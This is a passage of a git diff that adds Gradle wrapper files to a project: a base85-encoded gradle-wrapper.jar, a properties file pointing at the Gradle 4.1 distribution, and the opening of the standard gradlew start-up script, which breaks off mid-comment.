z1X@}oNU;_(dfQ_|kI-iUSTKiVzcy+zr72kq)TIp(GkgVyd%{8@^)$%G)pA@^Mfj71FG%d?sf(2Vm>k%X^RS`}v0LmwIQ7!_7cy$Q8pT?X1VWecA_W68u==HbrU& z@&L6pM0@8ZHL?k{6+&ewAj%grb6y@0$3oamTvXsjGmPL_$~OpIyIq%b$(uI1VKo zk_@{r>1p84UK3}B>@d?xUZ}dJk>uEd+-QhwFQ`U?rA=jj+$w8sD#{492P}~R#%z%0 z5dlltiAaiPKv9fhjmuy{*m!C22$;>#85EduvdSrFES{QO$bHpa7E@&{bWb@<7VhTF zXCFS_wB>7*MjJ3$_i4^A2XfF2t7`LOr3B@??OOUk=4fKkaHne4RhI~Lm$JrHfUU*h zgD9G66;_F?3>0W{pW2A^DR7Bq`ZUiSc${S8EM>%gFIqAw0du4~kU#vuCb=$I_PQv? zZfEY7X6c{jJZ@nF&T>4oyy(Zr_XqnMq)ZtGPASbr?IhZOnL|JKY()`eo=P5UK9(P-@ zOJKFogtk|pscVD+#$7KZs^K5l4gC}*CTd0neZ8L(^&1*bPrCp23%{VNp`4Ld*)Fly z)b|zb*bCzp?&X3_=qLT&0J+=p01&}9*xbk~^hd^@mV!Ha`1H+M&60QH2c|!Ty`RepK|H|Moc5MquD z=&$Ne3%WX+|7?iiR8=7*LW9O3{O%Z6U6`VekeF8lGr5vd)rsZu@X#5!^G1;nV60cz zW?9%HgD}1G{E(YvcLcIMQR65BP50)a;WI*tjRzL7diqRqh$3>OK{06VyC=pj6OiardshTnYfve5U>Tln@y{DC99f!B4> zCrZa$B;IjDrg}*D5l=CrW|wdzENw{q?oIj!Px^7DnqAsU7_=AzXxoA;4(YvN5^9ag zwEd4-HOlO~R0~zk>!4|_Z&&q}agLD`Nx!%9RLC#7fK=w06e zOK<>|#@|e2zjwZ5aB>DJ%#P>k4s0+xHJs@jROvoDQfSoE84l8{9y%5^POiP+?yq0> z7+Ymbld(s-4p5vykK@g<{X*!DZt1QWXKGmj${`@_R~=a!qPzB357nWW^KmhV!^G3i zsYN{2_@gtzsZH*FY!}}vNDnqq>kc(+7wK}M4V*O!M&GQ|uj>+8!Q8Ja+j3f*MzwcI z^s4FXGC=LZ?il4D+Y^f89wh!d7EU-5dZ}}>_PO}jXRQ@q^CjK-{KVnmFd_f&IDKmx zZ5;PDLF%_O);<4t`WSMN;Ec^;I#wU?Z?_R|Jg`#wbq;UM#50f@7F?b7ySi-$C-N;% zqXowTcT@=|@~*a)dkZ836R=H+m6|fynm#0Y{KVyYU=_*NHO1{=Eo{^L@wWr7 zjz9GOu8Fd&v}a4d+}@J^9=!dJRsCO@=>K6UCM)Xv6};tb)M#{(k!i}_0Rjq z2kb7wPcNgov%%q#(1cLykjrxAg)By+3QueBR>Wsep&rWQHq1wE!JP+L;q+mXts{j@ zOY@t9BFmofApO0k@iBFPeKsV3X=|=_t65QyohXMSfMRr7Jyf8~ogPVmJwbr@`nmml zov*NCf;*mT(5s4K=~xtYy8SzE66W#tW4X#RnN%<8FGCT{z#jRKy@Cy|!yR`7dsJ}R z!eZzPCF+^b0qwg(mE=M#V;Ud9)2QL~ z-r-2%0dbya)%ui_>e6>O3-}4+Q!D+MU-9HL2tH)O`cMC1^=rA=q$Pcc;Zel@@ss|K zH*WMdS^O`5Uv1qNTMhM(=;qjhaJ|ZC41i2!kt4;JGlXQ$tvvF8Oa^C@(q6(&6B^l) zNG{GaX?`qROHwL-F1WZDEF;C6Inuv~1&ZuP3j53547P38tr|iPH#3&hN*g0R^H;#) znft`cw0+^Lwe{!^kQat+xjf_$SZ05OD6~U`6njelvd+4pLZU(0ykS5&S$)u?gm!;} z+gJ8g12b1D4^2HH!?AHFAjDAP^q)Juw|hZfIv{3Ryn%4B^-rqIF2 zeWk^za4fq#@;re{z4_O|Zj&Zn{2WsyI^1%NW=2qA^iMH>u>@;GAYI>Bk~u0wWQrz* zdEf)7_pSYMg;_9^qrCzvv{FZYwgXK}6e6ceOH+i&+O=x&{7aRI(oz3NHc;UAxMJE2 zDb0QeNpm$TDcshGWs!Zy!shR$lC_Yh-PkQ`{V~z!AvUoRr&BAGS#_*ZygwI2-)6+a zq|?A;+-7f0Dk4uuht z6sWPGl&Q$bev1b6%aheld88yMmBp2j=z*egn1aAWd?zN=yEtRDGRW&nmv#%OQwuJ; zqKZ`L4DsqJwU{&2V9f>2`1QP7U}`6)$qxTNEi`4xn!HzIY?hDnnJZw+mFnVSry=bLH7ar+M(e9h?GiwnOM?9ZJcTJ08)T1-+J#cr&uHhXkiJ~}&(}wvzCo33 zLd_<%rRFQ3d5fzKYQy41<`HKk#$yn$Q+Fx-?{3h72XZrr*uN!5QjRon-qZh9-uZ$rWEKZ z!dJMP`hprNS{pzqO`Qhx`oXGd{4Uy0&RDwJ`hqLw4v5k#MOjvyt}IkLW{nNau8~XM z&XKeoVYreO=$E%z^WMd>J%tCdJx5-h+8tiawu2;s& zD7l`HV!v@vcX*qM(}KvZ#%0VBIbd)NClLBu-m2Scx1H`jyLYce;2z;;eo;ckYlU53 z9JcQS+CvCwj*yxM+e*1Vk6}+qIik2VzvUuJyWyO}piM1rEk%IvS;dsXOIR!#9S;G@ zPcz^%QTf9D<2~VA5L@Z@FGQqwyx~Mc-QFzT4Em?7u`OU!PB=MD8jx%J{<`tH$Kcxz zjIvb$x|`s!-^^Zw{hGV>rg&zb;=m?XYAU0LFw+uyp8v@Y)zmjj&Ib7Y1@r4`cfrS%cVxJiw`;*BwIU*6QVsBBL;~nw4`ZFqs z1YSgLVy=rvA&GQB4MDG+j^)X1N=T;Ty2lE-`zrg(dNq?=Q`nCM*o8~A2V~UPArX<| zF;e$5B0hPSo56=ePVy{nah#?e-Yi3g*z6iYJ#BFJ-5f0KlQ-PRiuGwe29fyk1T6>& zeo2lvb%h9Vzi&^QcVNp}J!x&ubtw5fKa|n2XSMlg#=G*6F|;p)%SpN~l8BaMREDQN z-c9O}?%U1p-ej%hzIDB!W_{`9lS}_U==fdYpAil1E3MQOFW^u#B)Cs zTE3|YB0bKpXuDKR9z&{4gNO3VHDLB!xxPES+)yaJxo<|}&bl`F21};xsQnc!*FPZA zSct2IU3gEu@WQKmY-vA5>MV?7W|{$rAEj4<8`*i)<%fj*gDz2=ApqZ&MP&0UmO1?q!GN=di+n(#bB_mHa z(H-rIOJqamMfwB%?di!TrN=x~0jOJtvb0e9uu$ZCVj(gJyK}Fa5F2S?VE30P{#n3eMy!-v7e8viCooW9cfQx%xyPNL*eDKL zB=X@jxulpkLfnar7D2EeP*0L7c9urDz{XdV;@tO;u`7DlN7#~ zAKA~uM2u8_<5FLkd}OzD9K zO5&hbK8yakUXn8r*H9RE zO9Gsipa2()=&x=1mnQtNP#4m%GXThu8Ccqx*qb;S{5}>bU*V5{SY~(Hb={cyTeaTM zMEaKedtJf^NnJrwQ^Bd57vSlJ3l@$^0QpX@_1>h^+js8QVpwOiIMOiSC_>3@dt*&| zV?0jRdlgn|FIYam0s)a@5?0kf7A|GD|dRnP1=B!{ldr;N5s)}MJ=i4XEqlC}w)LEJ}7f9~c!?It(s zu>b=YBlFRi(H-%8A!@Vr{mndRJ z_jx*?BQpK>qh`2+3cBJhx;>yXPjv>dQ0m+nd4nl(L;GmF-?XzlMK zP(Xeyh7mFlP#=J%i~L{o)*sG7H5g~bnL2Hn3y!!r5YiYRzgNTvgL<(*g5IB*gcajK z86X3LoW*5heFmkIQ-I_@I_7b!Xq#O;IzOv(TK#(4gd)rmCbv5YfA4koRfLydaIXUU z8(q?)EWy!sjsn-oyUC&uwJqEXdlM}#tmD~*Ztav=mTQyrw0^F=1I5lj*}GSQTQOW{ z=O12;?fJfXxy`)ItiDB@0sk43AZo_sRn*jc#S|(2*%tH84d|UTYN!O4R(G6-CM}84 zpiyYJ^wl|w@!*t)dwn0XJv2kuHgbfNL$U6)O-k*~7pQ?y=sQJdKk5x`1>PEAxjIWn z{H$)fZH4S}%?xzAy1om0^`Q$^?QEL}*ZVQK)NLgmnJ`(we z21c23X1&=^>k;UF-}7}@nzUf5HSLUcOYW&gsqUrj7%d$)+d8ZWwTZq)tOgc%fz95+ zl%sdl)|l|jXfqIcjKTFrX74Rbq1}osA~fXPSPE?XO=__@`7k4Taa!sHE8v-zfx(AM zXT_(7u;&_?4ZIh%45x>p!(I&xV|IE**qbqCRGD5aqLpCRvrNy@uT?iYo-FPpu`t}J zSTZ}MDrud+`#^14r`A%UoMvN;raizytxMBV$~~y3i0#m}0F}Dj_fBIz+)1RWdnctP z>^O^vd0E+jS+$V~*`mZWER~L^q?i-6RPxxufWdrW=%prbCYT{5>Vgu%vPB)~NN*2L zB?xQg2K@+Xy=sPh$%10LH!39p&SJG+3^i*lFLn=uY8Io6AXRZf;p~v@1(hWsFzeKzx99_{w>r;cypkPVJCKtLGK>?-K0GE zGH>$g?u`)U_%0|f#!;+E>?v>qghuBwYZxZ*Q*EE|P|__G+OzC-Z+}CS(XK^t!TMoT zc+QU|1C_PGiVp&_^wMxfmMAuJDQ%1p4O|x5DljN6+MJiO%8s{^ts8$uh5`N~qK46c`3WY#hRH$QI@*i1OB7qBIN*S2gK#uVd{ zik+wwQ{D)g{XTGjKV1m#kYhmK#?uy)g@idi&^8mX)Ms`^=hQGY)j|LuFr8SJGZjr| zzZf{hxYg)-I^G|*#dT9Jj)+wMfz-l7ixjmwHK9L4aPdXyD-QCW!2|Jn(<3$pq-BM; zs(6}egHAL?8l?f}2FJSkP`N%hdAeBiD{3qVlghzJe5s9ZUMd`;KURm_eFaK?d&+TyC88v zCv2R(Qg~0VS?+p+l1e(aVq`($>|0b{{tPNbi} zaZDffTZ7N|t2D5DBv~aX#X+yGagWs1JRsqbr4L8a`B`m) z1p9?T`|*8ZXHS7YD8{P1Dk`EGM`2Yjsy0=7M&U6^VO30`Gx!ZkUoqmc3oUbd&)V*iD08>dk=#G!*cs~^tOw^s8YQqYJ z!5=-4ZB7rW4mQF&YZw>T_in-c9`0NqQ_5Q}fq|)%HECgBd5KIo`miEcJ>~a1e2B@) zL_rqoQ;1MowD34e6#_U+>D`WcnG5<2Q6cnt4Iv@NC$*M+i3!c?6hqPJLsB|SJ~xo! zm>!N;b0E{RX{d*in3&0w!cmB&TBNEjhxdg!fo+}iGE*BWV%x*46rT@+cXU;leofWy zxst{S8m!_#hIhbV7wfWN#th8OI5EUr3IR_GOIzBgGW1u4J*TQxtT7PXp#U#EagTV* zehVkBFF06`@5bh!t%L)-)`p|d7D|^kED7fsht#SN7*3`MKZX};Jh0~nCREL_BGqNR zxpJ4`V{%>CAqEE#Dt95u=;Un8wLhrac$fao`XlNsOH%&Ey2tK&vAcriS1kXnntDuttcN{%YJz@!$T zD&v6ZQ>zS1`o!qT=JK-Y+^i~bZkVJpN8%<4>HbuG($h9LP;{3DJF_Jcl8CA5M~<3s^!$Sg62zLEnJtZ z0`)jwK75Il6)9XLf(64~`778D6-#Ie1IR2Ffu+_Oty%$8u+bP$?803V5W6%(+iZzp zp5<&sBV&%CJcXUIATUakP1czt$&0x$lyoLH!ueNaIpvtO z*eCijxOv^-D?JaLzH<3yhOfDENi@q#4w(#tl-19(&Yc2K%S8Y&r{3~-)P17sC1{rQ zOy>IZ6%814_UoEi+w9a4XyGXF66{rgE~UT)oT4x zg9oIx@|{KL#VpTyE=6WK@Sbd9RKEEY)5W{-%0F^6(QMuT$RQRZ&yqfyF*Z$f8>{iT zq(;UzB-Ltv;VHvh4y%YvG^UEkvpe9ugiT97ErbY0ErCEOWs4J=kflA!*Q}gMbEP`N zY#L`x9a?E)*~B~t+7c8eR}VY`t}J;EWuJ-6&}SHnNZ8i0PZT^ahA@@HXk?c0{)6rC zP}I}_KK7MjXqn1E19gOwWvJ3i9>FNxN67o?lZy4H?n}%j|Dq$p%TFLUPJBD;R|*0O z3pLw^?*$9Ax!xy<&fO@;E2w$9nMez{5JdFO^q)B0OmGwkxxaDsEU+5C#g+?Ln-Vg@ z-=z4O*#*VJa*nujGnGfK#?`a|xfZsuiO+R}7y(d60@!WUIEUt>K+KTI&I z9YQ6#hVCo}0^*>yr-#Lisq6R?uI=Ms!J7}qm@B}Zu zp%f-~1Cf!-5S0xXl`oqq&fS=tt0`%dDWI&6pW(s zJXtYiY&~t>k5I0RK3sN;#8?#xO+*FeK#=C^%{Y>{k{~bXz%(H;)V5)DZRk~(_d0b6 zV!x54fwkl`1y;%U;n|E#^Vx(RGnuN|T$oJ^R%ZmI{8(9>U-K^QpDcT?Bb@|J0NAfvHtL#wP ziYupr2E5=_KS{U@;kyW7oy*+UTOiF*e+EhYqVcV^wx~5}49tBNSUHLH1=x}6L2Fl^4X4633$k!ZHZTL50Vq+a5+ z<}uglXQ<{x&6ey)-lq6;4KLHbR)_;Oo^FodsYSw3M-)FbLaBcPI=-ao+|))T2ksKb z{c%Fu`HR1dqNw8%>e0>HI2E_zNH1$+4RWfk}p-h(W@)7LC zwVnUO17y+~kw35CxVtokT44iF$l8XxYuetp)1Br${@lb(Q^e|q*5%7JNxp5B{r<09 z-~8o#rI1(Qb9FhW-igcsC6npf5j`-v!nCrAcVx5+S&_V2D>MOWp6cV$~Olhp2`F^Td{WV`2k4J`djb#M>5D#k&5XkMu*FiO(uP{SNX@(=)|Wm`@b> z_D<~{ip6@uyd7e3Rn+qM80@}Cl35~^)7XN?D{=B-4@gO4mY%`z!kMIZizhGtCH-*7 z{a%uB4usaUoJwbkVVj%8o!K^>W=(ZzRDA&kISY?`^0YHKe!()(*w@{w7o5lHd3(Us zUm-K=z&rEbOe$ackQ3XH=An;Qyug2g&vqf;zsRBldxA+=vNGoM$Zo9yT?Bn?`Hkiq z&h@Ss--~+=YOe@~JlC`CdSHy zcO`;bgMASYi6`WSw#Z|A;wQgH@>+I3OT6(*JgZZ_XQ!LrBJfVW2RK%#02|@V|H4&8DqslU6Zj(x!tM{h zRawG+Vy63_8gP#G!Eq>qKf(C&!^G$01~baLLk#)ov-Pqx~Du>%LHMv?=WBx2p2eV zbj5fjTBhwo&zeD=l1*o}Zs%SMxEi9yokhbHhY4N!XV?t8}?!?42E-B^Rh&ABFxovs*HeQ5{{*)SrnJ%e{){Z_#JH+jvwF7>Jo zE+qzWrugBwVOZou~oFa(wc7?`wNde>~HcC@>fA^o>ll?~aj-e|Ju z+iJzZg0y1@eQ4}rm`+@hH(|=gW^;>n>ydn!8%B4t7WL)R-D>mMw<7Wz6>ulFnM7QA ze2HEqaE4O6jpVq&ol3O$46r+DW@%glD8Kp*tFY#8oiSyMi#yEpVIw3#t?pXG?+H>v z$pUwT@0ri)_Bt+H(^uzp6qx!P(AdAI_Q?b`>0J?aAKTPt>73uL2(WXws9+T|%U)Jq zP?Oy;y6?{%J>}?ZmfcnyIQHh_jL;oD$`U#!v@Bf{5%^F`UiOX%)<0DqQ^nqA5Ac!< z1DPO5C>W0%m?MN*x(k>lDT4W3;tPi=&yM#Wjwc5IFNiLkQf`7GN+J*MbB4q~HVePM zeDj8YyA*btY&n!M9$tuOxG0)2um))hsVsY+(p~JnDaT7x(s2If0H_iRSju7!z7p|8 zzI`NV!1hHWX3m)?t68k6yNKvop{Z>kl)f5GV(~1InT4%9IxqhDX-rgj)Y|NYq_NTlZgz-)=Y$=x9L7|k0=m@6WQ<4&r=BX@pW25NtCI+N{e&`RGSpR zeb^`@FHm5?pWseZ6V08{R(ki}--13S2op~9Kzz;#cPgL}Tmrqd+gs(fJLTCM8#&|S z^L+7PbAhltJDyyxAVxqf(2h!RGC3$;hX@YNz@&JRw!m5?Q)|-tZ8u0D$4we+QytG^ zj0U_@+N|OJlBHdWPN!K={a$R1Zi{2%5QD}s&s-Xn1tY1cwh)8VW z$pjq>8sj4)?76EJs6bA0E&pfr^Vq`&Xc;Tl2T!fm+MV%!H|i0o;7A=zE?dl)-Iz#P zSY7QRV`qRc6b&rON`BValC01zSLQpVemH5y%FxK8m^PeNN(Hf1(%C}KPfC*L?Nm!nMW0@J3(J=mYq3DPk;TMs%h`-amWbc%7{1Lg3$ z^e=btuqch-lydbtLvazh+fx?87Q7!YRT(=-Vx;hO)?o@f1($e5B?JB9jcRd;zM;iE zu?3EqyK`@_5Smr#^a`C#M>sRwq2^|ym)X*r;0v6AM`Zz1aK94@9Ti)Lixun2N!e-A z>w#}xPxVd9AfaF$XTTff?+#D(xwOpjZj9-&SU%7Z-E2-VF-n#xnPeQH*67J=j>TL# z<v}>AiTXrQ(fYa%82%qlH=L z6Fg8@r4p+BeTZ!5cZlu$iR?EJpYuTx>cJ~{{B7KODY#o*2seq=p2U0Rh;3mX^9sza zk^R_l7jzL5BXWlrVkhh!+LQ-Nc0I`6l1mWkp~inn)HQWqMTWl4G-TBLglR~n&6J?4 z7J)IO{wkrtT!Csntw3H$Mnj>@;QbrxC&Shqn^VVu$Ls*_c~TTY~fri6fO-=eJsC*8(3(H zSyO>=B;G`qA398OvCHRvf3mabrPZaaLhn*+jeA`qI!gP&i8Zs!*bBqMXDJpSZG$N) zx0rDLvcO>EoqCTR)|n7eOp-jmd>`#w`6`;+9+hihW2WnKVPQ20LR94h+(p)R$Y!Q zj_3ZEY+e@NH0f6VjLND)sh+Cvfo3CpcXw?`$@a^@CyLrAKIpjL8G z`;cDLqvK=ER)$q)+6vMKlxn!!SzWl>Ib9Ys9L)L0IWr*Ox;Rk#(Dpqf;wapY_EYL8 zKFrV)Q8BBKO4$r2hON%g=r@lPE;kBUVYVG`uxx~QI>9>MCXw_5vnmDsm|^KRny929 zeKx>F(LDs#K4FGU*k3~GX`A!)l8&|tyan-rBHBm6XaB5hc5sGKWwibAD7&3M-gh1n z2?eI7E2u{(^z#W~wU~dHSfy|m)%PY454NBxED)y-T3AO`CLQxklcC1I@Y`v4~SEI#Cm> z-cjqK6I?mypZapi$ZK;y&G+|#D=woItrajg69VRD+Fu8*UxG6KdfFmFLE}HvBJ~Y) zC&c-hr~;H2Idnsz7_F~MKpBZldh)>itc1AL0>4knbVy#%pUB&9vqL1Kg*^aU`k#(p z=A%lur(|$GWSqILaWZ#2xj(&lheSiA|N6DOG?A|$!aYM)?oME6ngnfLw0CA79WA+y zhUeLbMw*VB?drVE_D~3DWVaD>8x?_q>f!6;)i3@W<=kBZBSE=uIU60SW)qct?AdM zXgti8&O=}QNd|u%Fpxr172Kc`sX^@fm>Fxl8fbFalJYci_GGoIzU*~U*I!QLz? z4NYk^=JXBS*Uph@51da-v;%?))cB^(ps}y8yChu7CzyC9SX{jAq13zdnqRHRvc{ha zcPmgCUqAJ^1RChMCCz;ZN*ap{JPoE<1#8nNObDbAt6Jr}Crq#xGkK@w2mLhIUecvy z#?s~?J()H*?w9K`_;S+8TNVkHSk}#yvn+|~jcB|he}OY(zH|7%EK%-Tq=)18730)v zM3f|=oFugXq3Lqn={L!wx|u(ycZf(Te11c3?^8~aF; zNMC)gi?nQ#S$s{46yImv_7@4_qu|XXEza~);h&cr*~dO@#$LtKZa@@r$8PD^jz{D6 zk~5;IJBuQjsKk+8i0wzLJ2=toMw4@rw7(|6`7*e|V(5-#ZzRirtkXBO1oshQ&0>z&HAtSF8+871e|ni4gLs#`3v7gnG#^F zDv!w100_HwtU}B2T!+v_YDR@-9VmoGW+a76oo4yy)o`MY(a^GcIvXW+4)t{lK}I-& zl-C=(w_1Z}tsSFjFd z3iZjkO6xnjLV3!EE?ex9rb1Zxm)O-CnWPat4vw08!GtcQ3lHD+ySRB*3zQu-at$rj zzBn`S?5h=JlLXX8)~Jp%1~YS6>M8c-Mv~E%s7_RcvIYjc-ia`3r>dvjxZ6=?6=#OM zfsv}?hGnMMdi9C`J9+g)5`M9+S79ug=!xE_XcHdWnIRr&hq$!X7aX5kJV8Q(6Lq?|AE8N2H z37j{DPDY^Jw!J>~>Mwaja$g%q1sYfH4bUJFOR`x=pZQ@O(-4b#5=_Vm(0xe!LW>YF zO4w`2C|Cu%^C9q9B>NjFD{+qt)cY3~(09ma%mp3%cjFsj0_93oVHC3)AsbBPuQNBO z`+zffU~AgGrE0K{NVR}@oxB4&XWt&pJ-mq!JLhFWbnXf~H%uU?6N zWJ7oa@``Vi$pMWM#7N9=sX1%Y+1qTGnr_G&h3YfnkHPKG}p>i{fAG+(klE z(g~u_rJXF48l1D?;;>e}Ra{P$>{o`jR_!s{hV1Wk`vURz`W2c$-#r9GM7jgs2>um~ zouGlCm92rOiLITzf`jgl`v2qYw^!Lh0YwFHO1|3Krp8ztE}?#2+>c)yQlNw%5e6w5 zIm9BKZN5Q9b!tX`Zo$0RD~B)VscWp(FR|!a!{|Q$={;ZWl%10vBzfgWn}WBe!%cug z^G%;J-L4<6&aCKx@@(Grsf}dh8fuGT+TmhhA)_16uB!t{HIAK!B-7fJLe9fsF)4G- zf>(~ⅅ8zCNKueM5c!$)^mKpZNR!eIlFST57ePGQcqCqedAQ3UaUEzpjM--5V4YO zY22VxQm%$2NDnwfK+jkz=i2>NjAM6&P1DdcO<*Xs1-lzdXWn#LGSxwhPH7N%D8-zCgpFWt@`LgNYI+Fh^~nSiQmwH0^>E>*O$47MqfQza@Ce z1wBw;igLc#V2@y-*~Hp?jA1)+MYYyAt|DV_8RQCrRY@sAviO}wv;3gFdO>TE(=9o? z=S(r=0oT`w24=ihA=~iFV5z$ZG74?rmYn#eanx(!Hkxcr$*^KRFJKYYB&l6$WVsJ^ z-Iz#HYmE)Da@&seqG1fXsTER#adA&OrD2-T(z}Cwby|mQf{0v*v3hq~pzF`U`jenT z=XHXeB|fa?Ws$+9ADO0rco{#~+`VM?IXg7N>M0w1fyW1iiKTA@p$y zSiAJ%-Mg{m>&S4r#Tw@?@7ck}#oFo-iZJCWc`hw_J$=rw?omE{^tc59ftd`xq?jzf zo0bFUI=$>O!45{!c4?0KsJmZ#$vuYpZLo_O^oHTmmLMm0J_a{Nn`q5tG1m=0ecv$T z5H7r0DZGl6be@aJ+;26EGw9JENj0oJ5K0=^f-yBW2I0jqVIU};NBp*gF7_KlQnhB6 z##d$H({^HXj@il`*4^kC42&3)(A|tuhs;LygA-EWFSqpe+%#?6HG6}mE215Z4mjO2 zY2^?5$<8&k`O~#~sSc5Fy`5hg5#e{kG>SAbTxCh{y32fHkNryU_c0_6h&$zbWc63T z7|r?X7_H!9XK!HfZ+r?FvBQ$x{HTGS=1VN<>Ss-7M3z|vQG|N}Frv{h-q623@Jz*@ ziXlZIpAuY^RPlu&=nO)pFhML5=ut~&zWDSsn%>mv)!P1|^M!d5AwmSPIckoY|0u9I zTDAzG*U&5SPf+@c_tE_I!~Npfi$?gX(kn=zZd|tUZ_ez(xP+)xS!8=k(<{9@<+EUx zYQgZhjn(0qA#?~Q+EA9oh_Jx5PMfE3#KIh#*cFIFQGi)-40NHbJO&%ZvL|LAqU=Rw zf?Vr4qkUcKtLr^g-6*N-tfk+v8@#Lpl~SgKyH!+m9?T8B>WDWK22;!i5&_N=%f{__ z-LHb`v-LvKqTJZCx~z|Yg;U_f)VZu~q7trb%C6fOKs#eJosw&b$nmwGwP;Bz`=zK4 z>U3;}T_ptP)w=vJaL8EhW;J#SHA;fr13f=r#{o)`dRMOs-T;lp&Toi@u^oB_^pw=P zp#8Geo2?@!h2EYHY?L;ayT}-Df0?TeUCe8Cto{W0_a>!7Gxmi5G-nIIS;X{flm2De z{SjFG%knZoVa;mtHR_`*6)KEf=dvOT3OgT7C7&-4P#4X^B%VI&_57cBbli()(%zZC?Y0b;?5!f22UleQ=9h4_LkcA!Xsqx@q{ko&tvP_V@7epFs}AIpM{g??PA>U(sk$Gum>2Eu zD{Oy{$OF%~?B6>ixQeK9I}!$O0!T3#Ir8MW)j2V*qyJ z8Bg17L`rg^B_#rkny-=<3fr}Y42+x0@q6POk$H^*p3~Dc@5uYTQ$pfaRnIT}Wxb;- zl!@kkZkS=l)&=y|21veY8yz$t-&7ecA)TR|=51BKh(@n|d$EN>18)9kSQ|GqP?aeM ztXd9C&Md$PPF*FVs*GhoHM2L@D$(Qf%%x zwQBUt!jM~GgwluBcwkgwQ!249uPkNz3u@LSYZgmpHgX|P#8!iKk^vSKZ;?)KE$92d z2U>y}VWJ0&zjrIqddM3dz-nU%>bL&KU%SA|LiiUU7Ka|c=jF|vQ1V)Jz`JZe*j<5U6~RVuBEVJoY~ z&GE+F$f>4lN=X4-|9v*5O*Os>>r87u z!_1NSV?_X&HeFR1fOFb8_P)4lybJ6?1BWK`Tv2;4t|x1<#@17UO|hLGnrB%nu)fDk zfstJ4{X4^Y<8Lj<}g2^kksSefQTMuTo?tJLCh zC~>CR#a0hADw!_Vg*5fJwV{~S(j8)~sn>Oyt(ud2$1YfGck77}xN@3U_#T`q)f9!2 zf>Ia;Gwp2_C>WokU%(z2ec8z94pZyhaK+e>3a9sj^-&*V494;p9-xk+u1Jn#N_&xs z59OI2w=PuTErv|aNcK*>3l^W*p3}fjXJjJAXtBA#%B(-0--s;1U#f8gFYW!JL+iVG zV0SSx5w8eVgE?3Sg@eQv)=x<+-JgpVixZQNaZr}3b8sVyVs$@ndkF5FYKka@b+YAh z#nq_gzlIDKEs_i}H4f)(VQ!FSB}j>5znkVD&W0bOA{UZ7h!(FXrBbtdGA|PE1db>s z$!X)WY)u#7P8>^7Pjjj-kXNBuJX3(pJVetTZRNOnR5|RT5D>xmwxhAn)9KF3J05J; z-Mfb~dc?LUGqozC2p!1VjRqUwwDBnJhOua3vCCB-%ykW_ohSe?$R#dz%@Gym-8-RA zjMa_SJSzIl8{9dV+&63e9$4;{=1}w2=l+_j_Dtt@<(SYMbV-18&%F@Zl7F_5! z@xwJ0wiDdO%{}j9PW1(t+8P7Ud79yjY>x>aZYWJL_NI?bI6Y02`;@?qPz_PRqz(7v``20`- z033Dy|4;y6di|>cz|P-z|6c&3f&g^OAt8aN0Zd&0yZ>dq2aFCsE<~Ucf$v{sL=*++ zBxFSa2lfA+Y%U@B&3D=&CBO&u`#*nNc|PCY7XO<}MnG0VR764XrHtrb5zwC*2F!Lp zE<~Vj0;z!S-|3M4DFxuQ=`ShTf28<9p!81(0hFbGNqF%0gg*orez9!qt8e%o@Yfl@ zhvY}{@3&f??}7<`p>FyU;7?VkKbh8_=csozU=|fH&szgZ{=NDCylQ>EH^x5!K3~-V z)_2Y>0uJ`Z0Pb58y`RL+&n@m9tJ)O<%q#&u#DAIt+-rRt0eSe1MTtMl@W)H$b3D)@ z*A-1bUgZI)>HdcI4&W>P4W5{-j=s5p5`cbQ+{(g0+RDnz!TR^mxSLu_y#SDVKrj8i zA^hi6>jMGM;`$9Vfb-Yf!47b)Ow`2OKtNB=z|Kxa$5O}WPo;(Dc^`q(7X8kkeFyO8 z{XOq^07=u|7*P2`m;>PIFf=i80MKUxsN{d2cX0M+REsE*20+WQ79T9&cqT>=I_U% z{=8~^Isg(Nzo~`4iQfIb_#CVCD>#5h>=-Z#5dH}WxYzn%0)GAm6L2WdUdP=0_h>7f z(jh&7%1i(ZOn+}D8$iGK4Vs{pmHl_w4Qm-46H9>4^{3dz^DZDh+dw)6Xd@CpQNK$j z{CU;-cmpK=egplZ3y3%y=sEnCJ^eYVKXzV8H2_r*fJ*%*B;a1_lOpt6)IT1IAK2eB z{rie|uDJUrbgfUE>~C>@RO|m5ex55F{=~Bb4Cucp{ok7Yf9V}QuZ`#Gc|WaqsQlK- zKaV)iMRR__&Ak2Z=IM9R9g5$WM4u{a^C-7uX*!myEym z#_#p^T!P~#Dx$%^K>Y_nj_3J*E_LwJ60-5Xu=LkJAwcP@|0;a&+|+ZX`Jbj9P5;T% z|KOc}4*#4o{U?09`9Hz`Xo-I!P=9XfIrr*MQ}y=$!qgv?_J38^bNb4kM&_OVg^_=Eu-qG5U(fw0KMgH){C8pazq~51rN97hf#20-7=aK0)N|UM H-+%o-(+5aQ literal 0 HcmV?d00001 diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..b27531f --- /dev/null +++ b/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,6 @@ +#Sat Dec 23 20:47:04 MST 2017 +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-4.1-all.zip diff --git a/gradlew b/gradlew new file mode 100644 index 0000000..9d82f78 --- /dev/null +++ b/gradlew @@ -0,0 +1,160 @@ +#!/usr/bin/env bash + +############################################################################## +## +## Gradle start up script for UN*X +## +############################################################################## + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS="" + +APP_NAME="Gradle" +APP_BASE_NAME=`basename "$0"` + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD="maximum" + +warn ( ) { + echo "$*" +} + +die ( ) { + echo + echo "$*" + echo + exit 1 +} + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +case "`uname`" in + CYGWIN* ) + cygwin=true + ;; + Darwin* ) + darwin=true + ;; + MINGW* ) + msys=true + ;; +esac + +# Attempt to set APP_HOME +# Resolve links: $0 may be a link +PRG="$0" +# Need this for relative symlinks. +while [ -h "$PRG" ] ; do + ls=`ls -ld "$PRG"` + link=`expr "$ls" : '.*-> \(.*\)$'` + if expr "$link" : '/.*' > /dev/null; then + PRG="$link" + else + PRG=`dirname "$PRG"`"/$link" + fi +done +SAVED="`pwd`" +cd "`dirname \"$PRG\"`/" >/dev/null +APP_HOME="`pwd -P`" +cd "$SAVED" >/dev/null + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for 